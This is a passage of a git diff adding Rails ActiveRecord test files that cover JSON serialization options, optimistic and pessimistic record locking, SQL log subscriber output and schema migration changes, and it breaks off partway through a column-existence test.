+ assert_match %r{"awesome":true}, json
+ assert_no_match %r{age}, json
+ end
+
+ def test_does_not_include_inheritance_column_from_sti
+ @contact = ContactSti.new(@contact.attributes)
+ assert_equal 'ContactSti', @contact.type
+
+ json = @contact.to_json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_no_match %r{type}, json
+ assert_no_match %r{ContactSti}, json
+ end
+
+ def test_serializable_hash_with_default_except_option_and_excluding_inheritance_column_from_sti
+ @contact = ContactSti.new(@contact.attributes)
+ assert_equal 'ContactSti', @contact.type
+
+ def @contact.serializable_hash(options={})
+ super({ except: %w(age) }.merge!(options))
+ end
+
+ json = @contact.to_json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_no_match %r{age}, json
+ assert_no_match %r{type}, json
+ assert_no_match %r{ContactSti}, json
+ end
+
+ def test_serializable_hash_should_not_modify_options_in_argument
+ options = { :only => :name }
+ @contact.serializable_hash(options)
+
+ assert_nil options[:except]
+ end
+end
+
+class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
+ fixtures :authors, :posts, :comments, :tags, :taggings
+
+ include JsonSerializationHelpers
+
+ def setup
+ @david = authors(:david)
+ @mary = authors(:mary)
+ end
+
+ def test_includes_uses_association_name
+ json = @david.to_json(:include => :posts)
+
+ assert_match %r{"posts":\[}, json
+
+ assert_match %r{"id":1}, json
+ assert_match %r{"name":"David"}, json
+
+ assert_match %r{"author_id":1}, json
+ assert_match %r{"title":"Welcome to the weblog"}, json
+ assert_match %r{"body":"Such a lovely day"}, json
+
+ assert_match %r{"title":"So I was thinking"}, json
+ assert_match %r{"body":"Like I hopefully always am"}, json
+ end
+
+ def test_includes_uses_association_name_and_applies_attribute_filters
+ json = @david.to_json(:include => { :posts => { :only => :title } })
+
+ assert_match %r{"name":"David"}, json
+ assert_match %r{"posts":\[}, json
+
+ assert_match %r{"title":"Welcome to the weblog"}, json
+ assert_no_match %r{"body":"Such a lovely day"}, json
+
+ assert_match %r{"title":"So I was thinking"}, json
+ assert_no_match %r{"body":"Like I hopefully always am"}, json
+ end
+
+ def test_includes_fetches_second_level_associations
+ json = @david.to_json(:include => { :posts => { :include => { :comments => { :only => :body } } } })
+
+ assert_match %r{"name":"David"}, json
+ assert_match %r{"posts":\[}, json
+
+ assert_match %r{"comments":\[}, json
+ assert_match %r{\{"body":"Thank you again for the welcome"\}}, json
+ assert_match %r{\{"body":"Don't think too hard"\}}, json
+ assert_no_match %r{"post_id":}, json
+ end
+
+ def test_includes_fetches_nth_level_associations
+ json = @david.to_json(
+ :include => {
+ :posts => {
+ :include => {
+ :taggings => {
+ :include => {
+ :tag => { :only => :name }
+ }
+ }
+ }
+ }
+ })
+
+ assert_match %r{"name":"David"}, json
+ assert_match %r{"posts":\[}, json
+
+ assert_match %r{"taggings":\[}, json
+ assert_match %r{"tag":\{"name":"General"\}}, json
+ end
+
+ def test_includes_doesnt_merge_opts_from_base
+ json = @david.to_json(
+ :only => :id,
+ :include => :posts
+ )
+
+ assert_match %{"title":"Welcome to the weblog"}, json
+ end
+
+ def test_should_not_call_methods_on_associations_that_dont_respond
+ def @david.favorite_quote; "Constraints are liberating"; end
+ json = @david.to_json(:include => :posts, :methods => :favorite_quote)
+
+ assert !@david.posts.first.respond_to?(:favorite_quote)
+ assert_match %r{"favorite_quote":"Constraints are liberating"}, json
+ assert_equal %r{"favorite_quote":}.match(json).size, 1
+ end
+
+ def test_should_allow_only_option_for_list_of_authors
+ set_include_root_in_json(false) do
+ authors = [@david, @mary]
+ assert_equal %([{"name":"David"},{"name":"Mary"}]), ActiveSupport::JSON.encode(authors, only: :name)
+ end
+ end
+
+ def test_should_allow_except_option_for_list_of_authors
+ set_include_root_in_json(false) do
+ authors = [@david, @mary]
+ encoded = ActiveSupport::JSON.encode(authors, except: [
+ :name, :author_address_id, :author_address_extra_id,
+ :organization_id, :owned_essay_id
+ ])
+ assert_equal %([{"id":1},{"id":2}]), encoded
+ end
+ end
+
+ def test_should_allow_includes_for_list_of_authors
+ authors = [@david, @mary]
+ json = ActiveSupport::JSON.encode(authors,
+ :only => :name,
+ :include => {
+ :posts => { :only => :id }
+ }
+ )
+
+ ['"name":"David"', '"posts":[', '{"id":1}', '{"id":2}', '{"id":4}',
+ '{"id":5}', '{"id":6}', '"name":"Mary"', '"posts":[', '{"id":7}', '{"id":9}'].each do |fragment|
+ assert json.include?(fragment), json
+ end
+ end
+
+ def test_should_allow_options_for_hash_of_authors
+ set_include_root_in_json(true) do
+ authors_hash = {
+ 1 => @david,
+ 2 => @mary
+ }
+ assert_equal %({"1":{"author":{"name":"David"}}}), ActiveSupport::JSON.encode(authors_hash, only: [1, :name])
+ end
+ end
+
+ def test_should_be_able_to_encode_relation
+ set_include_root_in_json(true) do
+ authors_relation = Author.where(id: [@david.id, @mary.id])
+
+ json = ActiveSupport::JSON.encode authors_relation, only: :name
+ assert_equal '[{"author":{"name":"David"}},{"author":{"name":"Mary"}}]', json
+ end
+ end
+end
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
new file mode 100644
index 0000000..77891b9
--- /dev/null
+++ b/activerecord/test/cases/locking_test.rb
@@ -0,0 +1,452 @@
+require 'thread'
+require "cases/helper"
+require 'models/person'
+require 'models/job'
+require 'models/reader'
+require 'models/ship'
+require 'models/legacy_thing'
+require 'models/reference'
+require 'models/string_key_object'
+require 'models/car'
+require 'models/engine'
+require 'models/wheel'
+require 'models/treasure'
+
+class LockWithoutDefault < ActiveRecord::Base; end
+
+class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
+ self.table_name = :lock_without_defaults_cust
+ self.locking_column = :custom_lock_version
+end
+
+class ReadonlyNameShip < Ship
+ attr_readonly :name
+end
+
+class OptimisticLockingTest < ActiveRecord::TestCase
+ fixtures :people, :legacy_things, :references, :string_key_objects, :peoples_treasures
+
+ def test_non_integer_lock_existing
+ s1 = StringKeyObject.find("record1")
+ s2 = StringKeyObject.find("record1")
+ assert_equal 0, s1.lock_version
+ assert_equal 0, s2.lock_version
+
+ s1.name = 'updated record'
+ s1.save!
+ assert_equal 1, s1.lock_version
+ assert_equal 0, s2.lock_version
+
+ s2.name = 'doubly updated record'
+ assert_raise(ActiveRecord::StaleObjectError) { s2.save! }
+ end
+
+ def test_non_integer_lock_destroy
+ s1 = StringKeyObject.find("record1")
+ s2 = StringKeyObject.find("record1")
+ assert_equal 0, s1.lock_version
+ assert_equal 0, s2.lock_version
+
+ s1.name = 'updated record'
+ s1.save!
+ assert_equal 1, s1.lock_version
+ assert_equal 0, s2.lock_version
+ assert_raise(ActiveRecord::StaleObjectError) { s2.destroy }
+
+ assert s1.destroy
+ assert s1.frozen?
+ assert s1.destroyed?
+ assert_raises(ActiveRecord::RecordNotFound) { StringKeyObject.find("record1") }
+ end
+
+ def test_lock_existing
+ p1 = Person.find(1)
+ p2 = Person.find(1)
+ assert_equal 0, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p1.first_name = 'stu'
+ p1.save!
+ assert_equal 1, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p2.first_name = 'sue'
+ assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+ end
+
+ # See Lighthouse ticket #1966
+ def test_lock_destroy
+ p1 = Person.find(1)
+ p2 = Person.find(1)
+ assert_equal 0, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p1.first_name = 'stu'
+ p1.save!
+ assert_equal 1, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ assert_raises(ActiveRecord::StaleObjectError) { p2.destroy }
+
+ assert p1.destroy
+ assert p1.frozen?
+ assert p1.destroyed?
+ assert_raises(ActiveRecord::RecordNotFound) { Person.find(1) }
+ end
+
+ def test_lock_repeating
+ p1 = Person.find(1)
+ p2 = Person.find(1)
+ assert_equal 0, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p1.first_name = 'stu'
+ p1.save!
+ assert_equal 1, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p2.first_name = 'sue'
+ assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+ p2.first_name = 'sue2'
+ assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+ end
+
+ def test_lock_new
+ p1 = Person.new(:first_name => 'anika')
+ assert_equal 0, p1.lock_version
+
+ p1.first_name = 'anika2'
+ p1.save!
+ p2 = Person.find(p1.id)
+ assert_equal 0, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p1.first_name = 'anika3'
+ p1.save!
+ assert_equal 1, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p2.first_name = 'sue'
+ assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+ end
+
+ def test_lock_exception_record
+ p1 = Person.new(:first_name => 'mira')
+ assert_equal 0, p1.lock_version
+
+ p1.first_name = 'mira2'
+ p1.save!
+ p2 = Person.find(p1.id)
+ assert_equal 0, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p1.first_name = 'mira3'
+ p1.save!
+
+ p2.first_name = 'sue'
+ error = assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+ assert_equal(error.record.object_id, p2.object_id)
+ end
+
+ def test_lock_new_with_nil
+ p1 = Person.new(:first_name => 'anika')
+ p1.save!
+ p1.lock_version = nil # simulate bad fixture or column with no default
+ p1.save!
+ assert_equal 1, p1.lock_version
+ end
+
+ def test_touch_existing_lock
+ p1 = Person.find(1)
+ assert_equal 0, p1.lock_version
+
+ p1.touch
+ assert_equal 1, p1.lock_version
+ end
+
+ def test_lock_column_name_existing
+ t1 = LegacyThing.find(1)
+ t2 = LegacyThing.find(1)
+ assert_equal 0, t1.version
+ assert_equal 0, t2.version
+
+ t1.tps_report_number = 700
+ t1.save!
+ assert_equal 1, t1.version
+ assert_equal 0, t2.version
+
+ t2.tps_report_number = 800
+ assert_raise(ActiveRecord::StaleObjectError) { t2.save! }
+ end
+
+ def test_lock_column_is_mass_assignable
+ p1 = Person.create(:first_name => 'bianca')
+ assert_equal 0, p1.lock_version
+ assert_equal p1.lock_version, Person.new(p1.attributes).lock_version
+
+ p1.first_name = 'bianca2'
+ p1.save!
+ assert_equal 1, p1.lock_version
+ assert_equal p1.lock_version, Person.new(p1.attributes).lock_version
+ end
+
+ def test_lock_without_default_sets_version_to_zero
+ t1 = LockWithoutDefault.new
+ assert_equal 0, t1.lock_version
+
+ t1.save
+ t1 = LockWithoutDefault.find(t1.id)
+ assert_equal 0, t1.lock_version
+ end
+
+ def test_lock_with_custom_column_without_default_sets_version_to_zero
+ t1 = LockWithCustomColumnWithoutDefault.new
+ assert_equal 0, t1.custom_lock_version
+
+ t1.save
+ t1 = LockWithCustomColumnWithoutDefault.find(t1.id)
+ assert_equal 0, t1.custom_lock_version
+ end
+
+ def test_readonly_attributes
+ assert_equal Set.new([ 'name' ]), ReadonlyNameShip.readonly_attributes
+
+ s = ReadonlyNameShip.create(:name => "unchangeable name")
+ s.reload
+ assert_equal "unchangeable name", s.name
+
+ s.update(name: "changed name")
+ s.reload
+ assert_equal "unchangeable name", s.name
+ end
+
+ def test_quote_table_name
+ ref = references(:michael_magician)
+ ref.favourite = !ref.favourite
+ assert ref.save
+ end
+
+ # Useful for partial updates, don't only update the lock_version if there
+ # is nothing else being updated.
+ def test_update_without_attributes_does_not_only_update_lock_version
+ assert_nothing_raised do
+ p1 = Person.create!(:first_name => 'anika')
+ lock_version = p1.lock_version
+ p1.save
+ p1.reload
+ assert_equal lock_version, p1.lock_version
+ end
+ end
+
+ def test_polymorphic_destroy_with_dependencies_and_lock_version
+ car = Car.create!
+
+ assert_difference 'car.wheels.count' do
+ car.wheels << Wheel.create!
+ end
+ assert_difference 'car.wheels.count', -1 do
+ car.destroy
+ end
+ assert car.destroyed?
+ end
+
+ def test_removing_has_and_belongs_to_many_associations_upon_destroy
+ p = RichPerson.create! first_name: 'Jon'
+ p.treasures.create!
+ assert !p.treasures.empty?
+ p.destroy
+ assert p.treasures.empty?
+ assert RichPerson.connection.select_all("SELECT * FROM peoples_treasures WHERE rich_person_id = 1").empty?
+ end
+end
+
+class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
+ fixtures :people, :legacy_things, :references
+
+ # need to disable transactional fixtures, because otherwise the sqlite3
+ # adapter (at least) chokes when we try and change the schema in the middle
+ # of a test (see test_increment_counter_*).
+ self.use_transactional_fixtures = false
+
+ { :lock_version => Person, :custom_lock_version => LegacyThing }.each do |name, model|
+ define_method("test_increment_counter_updates_#{name}") do
+ counter_test model, 1 do |id|
+ model.increment_counter :test_count, id
+ end
+ end
+
+ define_method("test_decrement_counter_updates_#{name}") do
+ counter_test model, -1 do |id|
+ model.decrement_counter :test_count, id
+ end
+ end
+
+ define_method("test_update_counters_updates_#{name}") do
+ counter_test model, 1 do |id|
+ model.update_counters id, :test_count => 1
+ end
+ end
+ end
+
+ # See Lighthouse ticket #1966
+ def test_destroy_dependents
+ # Establish dependent relationship between People and LegacyThing
+ add_counter_column_to(Person, 'legacy_things_count')
+ LegacyThing.connection.add_column LegacyThing.table_name, 'person_id', :integer
+ LegacyThing.reset_column_information
+ LegacyThing.class_eval do
+ belongs_to :person, :counter_cache => true
+ end
+ Person.class_eval do
+ has_many :legacy_things, :dependent => :destroy
+ end
+
+ # Make sure that counter incrementing doesn't cause problems
+ p1 = Person.new(:first_name => 'fjord')
+ p1.save!
+ t = LegacyThing.new(:person => p1)
+ t.save!
+ p1.reload
+ assert_equal 1, p1.legacy_things_count
+ assert p1.destroy
+ assert_equal true, p1.frozen?
+ assert_raises(ActiveRecord::RecordNotFound) { Person.find(p1.id) }
+ assert_raises(ActiveRecord::RecordNotFound) { LegacyThing.find(t.id) }
+ ensure
+ remove_counter_column_from(Person, 'legacy_things_count')
+ end
+
+ private
+
+ def add_counter_column_to(model, col='test_count')
+ model.connection.add_column model.table_name, col, :integer, :null => false, :default => 0
+ model.reset_column_information
+ # OpenBase does not set a value to existing rows when adding a not null default column
+ model.update_all(col => 0) if current_adapter?(:OpenBaseAdapter)
+ end
+
+ def remove_counter_column_from(model, col = :test_count)
+ model.connection.remove_column model.table_name, col
+ model.reset_column_information
+ end
+
+ def counter_test(model, expected_count)
+ add_counter_column_to(model)
+ object = model.first
+ assert_equal 0, object.test_count
+ assert_equal 0, object.send(model.locking_column)
+ yield object.id
+ object.reload
+ assert_equal expected_count, object.test_count
+ assert_equal 1, object.send(model.locking_column)
+ ensure
+ remove_counter_column_from(model)
+ end
+end
+
+
+# TODO: test against the generated SQL since testing locking behavior itself
+# is so cumbersome. Will deadlock Ruby threads if the underlying db.execute
+# blocks, so separate script called by Kernel#system is needed.
+# (See exec vs. async_exec in the PostgreSQL adapter.)
+unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
+ class PessimisticLockingTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+ fixtures :people, :readers
+
+ def setup
+ Person.connection_pool.clear_reloadable_connections!
+ # Avoid introspection queries during tests.
+ Person.columns; Reader.columns
+ end
+
+ # Test typical find.
+ def test_sane_find_with_lock
+ assert_nothing_raised do
+ Person.transaction do
+ Person.lock.find(1)
+ end
+ end
+ end
+
+ # PostgreSQL protests SELECT ... FOR UPDATE on an outer join.
+ unless current_adapter?(:PostgreSQLAdapter)
+ # Test locked eager find.
+ def test_eager_find_with_lock
+ assert_nothing_raised do
+ Person.transaction do
+ Person.includes(:readers).lock.find(1)
+ end
+ end
+ end
+ end
+
+ # Locking a record reloads it.
+ def test_sane_lock_method
+ assert_nothing_raised do
+ Person.transaction do
+ person = Person.find 1
+ old, person.first_name = person.first_name, 'fooman'
+ person.lock!
+ assert_equal old, person.first_name
+ end
+ end
+ end
+
+ def test_with_lock_commits_transaction
+ person = Person.find 1
+ person.with_lock do
+ person.first_name = 'fooman'
+ person.save!
+ end
+ assert_equal 'fooman', person.reload.first_name
+ end
+
+ def test_with_lock_rolls_back_transaction
+ person = Person.find 1
+ old = person.first_name
+ person.with_lock do
+ person.first_name = 'fooman'
+ person.save!
+ raise 'oops'
+ end rescue nil
+ assert_equal old, person.reload.first_name
+ end
+
+ if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+ def test_no_locks_no_wait
+ first, second = duel { Person.find 1 }
+ assert first.end > second.end
+ end
+
+ protected
+ def duel(zzz = 5)
+ t0, t1, t2, t3 = nil, nil, nil, nil
+
+ a = Thread.new do
+ t0 = Time.now
+ Person.transaction do
+ yield
+ sleep zzz # block thread 2 for zzz seconds
+ end
+ t1 = Time.now
+ end
+
+ b = Thread.new do
+ sleep zzz / 2.0 # ensure thread 1 tx starts first
+ t2 = Time.now
+ Person.transaction { yield }
+ t3 = Time.now
+ end
+
+ a.join
+ b.join
+
+ assert t1 > t0 + zzz
+ assert t2 > t0
+ assert t3 > t2
+ [t0.to_f..t1.to_f, t2.to_f..t3.to_f]
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb
new file mode 100644
index 0000000..57eac0c
--- /dev/null
+++ b/activerecord/test/cases/log_subscriber_test.rb
@@ -0,0 +1,122 @@
+require "cases/helper"
+require "models/binary"
+require "models/developer"
+require "models/post"
+require "active_support/log_subscriber/test_helper"
+
+class LogSubscriberTest < ActiveRecord::TestCase
+ include ActiveSupport::LogSubscriber::TestHelper
+ include ActiveSupport::Logger::Severity
+
+ class TestDebugLogSubscriber < ActiveRecord::LogSubscriber
+ attr_reader :debugs
+
+ def initialize
+ @debugs = []
+ super
+ end
+
+ def debug message
+ @debugs << message
+ end
+ end
+
+ fixtures :posts
+
+ def setup
+ @old_logger = ActiveRecord::Base.logger
+ Developer.primary_key
+ super
+ ActiveRecord::LogSubscriber.attach_to(:active_record)
+ end
+
+ def teardown
+ super
+ ActiveRecord::LogSubscriber.log_subscribers.pop
+ ActiveRecord::Base.logger = @old_logger
+ end
+
+ def set_logger(logger)
+ ActiveRecord::Base.logger = logger
+ end
+
+ def test_schema_statements_are_ignored
+ event = Struct.new(:duration, :payload)
+
+ logger = TestDebugLogSubscriber.new
+ assert_equal 0, logger.debugs.length
+
+ logger.sql(event.new(0, sql: 'hi mom!'))
+ assert_equal 1, logger.debugs.length
+
+ logger.sql(event.new(0, sql: 'hi mom!', name: 'foo'))
+ assert_equal 2, logger.debugs.length
+
+ logger.sql(event.new(0, sql: 'hi mom!', name: 'SCHEMA'))
+ assert_equal 2, logger.debugs.length
+ end
+
+ def test_ignore_binds_payload_with_nil_column
+ event = Struct.new(:duration, :payload)
+
+ logger = TestDebugLogSubscriber.new
+ logger.sql(event.new(0, sql: 'hi mom!', binds: [[nil, 1]]))
+ assert_equal 1, logger.debugs.length
+ end
+
+ def test_basic_query_logging
+ Developer.all.load
+ wait
+ assert_equal 1, @logger.logged(:debug).size
+ assert_match(/Developer Load/, @logger.logged(:debug).last)
+ assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)
+ end
+
+ def test_exists_query_logging
+ Developer.exists? 1
+ wait
+ assert_equal 1, @logger.logged(:debug).size
+ assert_match(/Developer Exists/, @logger.logged(:debug).last)
+ assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)
+ end
+
+ def test_cached_queries
+ ActiveRecord::Base.cache do
+ Developer.all.load
+ Developer.all.load
+ end
+ wait
+ assert_equal 2, @logger.logged(:debug).size
+ assert_match(/CACHE/, @logger.logged(:debug).last)
+ assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)
+ end
+
+ def test_basic_query_doesnt_log_when_level_is_not_debug
+ @logger.level = INFO
+ Developer.all.load
+ wait
+ assert_equal 0, @logger.logged(:debug).size
+ end
+
+ def test_cached_queries_doesnt_log_when_level_is_not_debug
+ @logger.level = INFO
+ ActiveRecord::Base.cache do
+ Developer.all.load
+ Developer.all.load
+ end
+ wait
+ assert_equal 0, @logger.logged(:debug).size
+ end
+
+ def test_initializes_runtime
+ Thread.new { assert_equal 0, ActiveRecord::LogSubscriber.runtime }.join
+ end
+
+ def test_binary_data_is_not_logged
+ skip if current_adapter?(:Mysql2Adapter)
+
+ Binary.create(data: 'some binary data')
+ wait
+ assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
+ end
+end
diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb
new file mode 100644
index 0000000..cad759b
--- /dev/null
+++ b/activerecord/test/cases/migration/change_schema_test.rb
@@ -0,0 +1,350 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class Migration
+ class ChangeSchemaTest < ActiveRecord::TestCase
+ attr_reader :connection, :table_name
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ @table_name = :testings
+ end
+
+ def teardown
+ super
+ connection.drop_table :testings rescue nil
+ ActiveRecord::Base.primary_key_prefix_type = nil
+ end
+
+ def test_create_table_without_id
+ testing_table_with_only_foo_attribute do
+ assert_equal connection.columns(:testings).size, 1
+ end
+ end
+
+ def test_add_column_with_primary_key_attribute
+ testing_table_with_only_foo_attribute do
+ connection.add_column :testings, :id, :primary_key
+ assert_equal connection.columns(:testings).size, 2
+ end
+ end
+
+ def test_create_table_adds_id
+ connection.create_table :testings do |t|
+ t.column :foo, :string
+ end
+
+ assert_equal %w(id foo), connection.columns(:testings).map(&:name)
+ end
+
+ def test_create_table_with_not_null_column
+ connection.create_table :testings do |t|
+ t.column :foo, :string, :null => false
+ end
+
+ assert_raises(ActiveRecord::StatementInvalid) do
+ connection.execute "insert into testings (foo) values (NULL)"
+ end
+ end
+
+ def test_create_table_with_defaults
+ # MySQL doesn't allow defaults on TEXT or BLOB columns.
+ mysql = current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+
+ connection.create_table :testings do |t|
+ t.column :one, :string, :default => "hello"
+ t.column :two, :boolean, :default => true
+ t.column :three, :boolean, :default => false
+ t.column :four, :integer, :default => 1
+ t.column :five, :text, :default => "hello" unless mysql
+ end
+
+ columns = connection.columns(:testings)
+ one = columns.detect { |c| c.name == "one" }
+ two = columns.detect { |c| c.name == "two" }
+ three = columns.detect { |c| c.name == "three" }
+ four = columns.detect { |c| c.name == "four" }
+ five = columns.detect { |c| c.name == "five" } unless mysql
+
+ assert_equal "hello", one.default
+ assert_equal true, two.default
+ assert_equal false, three.default
+ assert_equal 1, four.default
+ assert_equal "hello", five.default unless mysql
+ end
+
+ def test_create_table_with_limits
+ connection.create_table :testings do |t|
+ t.column :foo, :string, :limit => 255
+
+ t.column :default_int, :integer
+
+ t.column :one_int, :integer, :limit => 1
+ t.column :four_int, :integer, :limit => 4
+ t.column :eight_int, :integer, :limit => 8
+ end
+
+ columns = connection.columns(:testings)
+ foo = columns.detect { |c| c.name == "foo" }
+ assert_equal 255, foo.limit
+
+ default = columns.detect { |c| c.name == "default_int" }
+ one = columns.detect { |c| c.name == "one_int" }
+ four = columns.detect { |c| c.name == "four_int" }
+ eight = columns.detect { |c| c.name == "eight_int" }
+
+ if current_adapter?(:PostgreSQLAdapter)
+ assert_equal 'integer', default.sql_type
+ assert_equal 'smallint', one.sql_type
+ assert_equal 'integer', four.sql_type
+ assert_equal 'bigint', eight.sql_type
+ elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ assert_match 'int(11)', default.sql_type
+ assert_match 'tinyint', one.sql_type
+ assert_match 'int', four.sql_type
+ assert_match 'bigint', eight.sql_type
+ elsif current_adapter?(:OracleAdapter)
+ assert_equal 'NUMBER(38)', default.sql_type
+ assert_equal 'NUMBER(1)', one.sql_type
+ assert_equal 'NUMBER(4)', four.sql_type
+ assert_equal 'NUMBER(8)', eight.sql_type
+ end
+ end
+
+ def test_create_table_with_primary_key_prefix_as_table_name_with_underscore
+ ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+
+ connection.create_table :testings do |t|
+ t.column :foo, :string
+ end
+
+ assert_equal %w(testing_id foo), connection.columns(:testings).map(&:name)
+ end
+
+ def test_create_table_with_primary_key_prefix_as_table_name
+ ActiveRecord::Base.primary_key_prefix_type = :table_name
+
+ connection.create_table :testings do |t|
+ t.column :foo, :string
+ end
+
+ assert_equal %w(testingid foo), connection.columns(:testings).map(&:name)
+ end
+
+ def test_create_table_raises_when_redefining_primary_key_column
+ error = assert_raise(ArgumentError) do
+ connection.create_table :testings do |t|
+ t.column :id, :string
+ end
+ end
+
+ assert_equal "you can't redefine the primary key column 'id'. To define a custom primary key, pass { id: false } to create_table.", error.message
+ end
+
+ def test_create_table_raises_when_redefining_custom_primary_key_column
+ error = assert_raise(ArgumentError) do
+ connection.create_table :testings, primary_key: :testing_id do |t|
+ t.column :testing_id, :string
+ end
+ end
+
+ assert_equal "you can't redefine the primary key column 'testing_id'. To define a custom primary key, pass { id: false } to create_table.", error.message
+ end
+
+ def test_create_table_with_timestamps_should_create_datetime_columns
+ connection.create_table table_name do |t|
+ t.timestamps
+ end
+ created_columns = connection.columns(table_name)
+
+ created_at_column = created_columns.detect {|c| c.name == 'created_at' }
+ updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
+
+ assert created_at_column.null
+ assert updated_at_column.null
+ end
+
+ def test_create_table_with_timestamps_should_create_datetime_columns_with_options
+ connection.create_table table_name do |t|
+ t.timestamps :null => false
+ end
+ created_columns = connection.columns(table_name)
+
+ created_at_column = created_columns.detect {|c| c.name == 'created_at' }
+ updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
+
+ assert !created_at_column.null
+ assert !updated_at_column.null
+ end
+
+ def test_create_table_without_a_block
+ connection.create_table table_name
+ end
+
+ def test_add_column_not_null_without_default
+ # Sybase, and SQLite3 will not allow you to add a NOT NULL
+ # column to a table without a default value.
+ if current_adapter?(:SybaseAdapter, :SQLite3Adapter)
+ skip "not supported on #{connection.class}"
+ end
+
+ connection.create_table :testings do |t|
+ t.column :foo, :string
+ end
+ connection.add_column :testings, :bar, :string, :null => false
+
+ assert_raise(ActiveRecord::StatementInvalid) do
+ connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+ end
+ end
+
+ def test_add_column_not_null_with_default
+ connection.create_table :testings do |t|
+ t.column :foo, :string
+ end
+
+ con = connection
+ connection.enable_identity_insert("testings", true) if current_adapter?(:SybaseAdapter)
+ connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}) values (1, 'hello')"
+ connection.enable_identity_insert("testings", false) if current_adapter?(:SybaseAdapter)
+ assert_nothing_raised {connection.add_column :testings, :bar, :string, :null => false, :default => "default" }
+
+ assert_raises(ActiveRecord::StatementInvalid) do
+ unless current_adapter?(:OpenBaseAdapter)
+ connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
+ else
+ connection.insert("INSERT INTO testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) VALUES (2, 'hello', NULL)",
+ "Testing Insert","id",2)
+ end
+ end
+ end
+
+ def test_change_column_quotes_column_names
+ connection.create_table :testings do |t|
+ t.column :select, :string
+ end
+
+ connection.change_column :testings, :select, :string, :limit => 10
+
+ # Oracle needs primary key value from sequence
+ if current_adapter?(:OracleAdapter)
+ connection.execute "insert into testings (id, #{connection.quote_column_name('select')}) values (testings_seq.nextval, '7 chars')"
+ else
+ connection.execute "insert into testings (#{connection.quote_column_name('select')}) values ('7 chars')"
+ end
+ end
+
+ def test_keeping_default_and_notnull_constaint_on_change
+ connection.create_table :testings do |t|
+ t.column :title, :string
+ end
+ person_klass = Class.new(ActiveRecord::Base)
+ person_klass.table_name = 'testings'
+
+ person_klass.connection.add_column "testings", "wealth", :integer, :null => false, :default => 99
+ person_klass.reset_column_information
+ assert_equal 99, person_klass.columns_hash["wealth"].default
+ assert_equal false, person_klass.columns_hash["wealth"].null
+ # Oracle needs primary key value from sequence
+ if current_adapter?(:OracleAdapter)
+ assert_nothing_raised {person_klass.connection.execute("insert into testings (id, title) values (testings_seq.nextval, 'tester')")}
+ else
+ assert_nothing_raised {person_klass.connection.execute("insert into testings (title) values ('tester')")}
+ end
+
+ # change column default to see that column doesn't lose its not null definition
+ person_klass.connection.change_column_default "testings", "wealth", 100
+ person_klass.reset_column_information
+ assert_equal 100, person_klass.columns_hash["wealth"].default
+ assert_equal false, person_klass.columns_hash["wealth"].null
+
+ # rename column to see that column doesn't lose its not null and/or default definition
+ person_klass.connection.rename_column "testings", "wealth", "money"
+ person_klass.reset_column_information
+ assert_nil person_klass.columns_hash["wealth"]
+ assert_equal 100, person_klass.columns_hash["money"].default
+ assert_equal false, person_klass.columns_hash["money"].null
+
+ # change column
+ person_klass.connection.change_column "testings", "money", :integer, :null => false, :default => 1000
+ person_klass.reset_column_information
+ assert_equal 1000, person_klass.columns_hash["money"].default
+ assert_equal false, person_klass.columns_hash["money"].null
+
+ # change column, make it nullable and clear default
+ person_klass.connection.change_column "testings", "money", :integer, :null => true, :default => nil
+ person_klass.reset_column_information
+ assert_nil person_klass.columns_hash["money"].default
+ assert_equal true, person_klass.columns_hash["money"].null
+
+ # change_column_null, make it not nullable and set null values to a default value
+ person_klass.connection.execute('UPDATE testings SET money = NULL')
+ person_klass.connection.change_column_null "testings", "money", false, 2000
+ person_klass.reset_column_information
+ assert_nil person_klass.columns_hash["money"].default
+ assert_equal false, person_klass.columns_hash["money"].null
+ assert_equal 2000, connection.select_values("SELECT money FROM testings").first.to_i
+ end
+
+ def test_column_exists
+ connection.create_table :testings do |t|
+ t.column :foo, :string
+ end
+
+ assert connection.column_exists?(:testings, :foo)
+ assert_not connection.column_exists?(:testings, :bar)
+ end
+
+ def test_column_exists_with_type
+ connection.create_table :testings do |t|
+ t.column :foo, :string
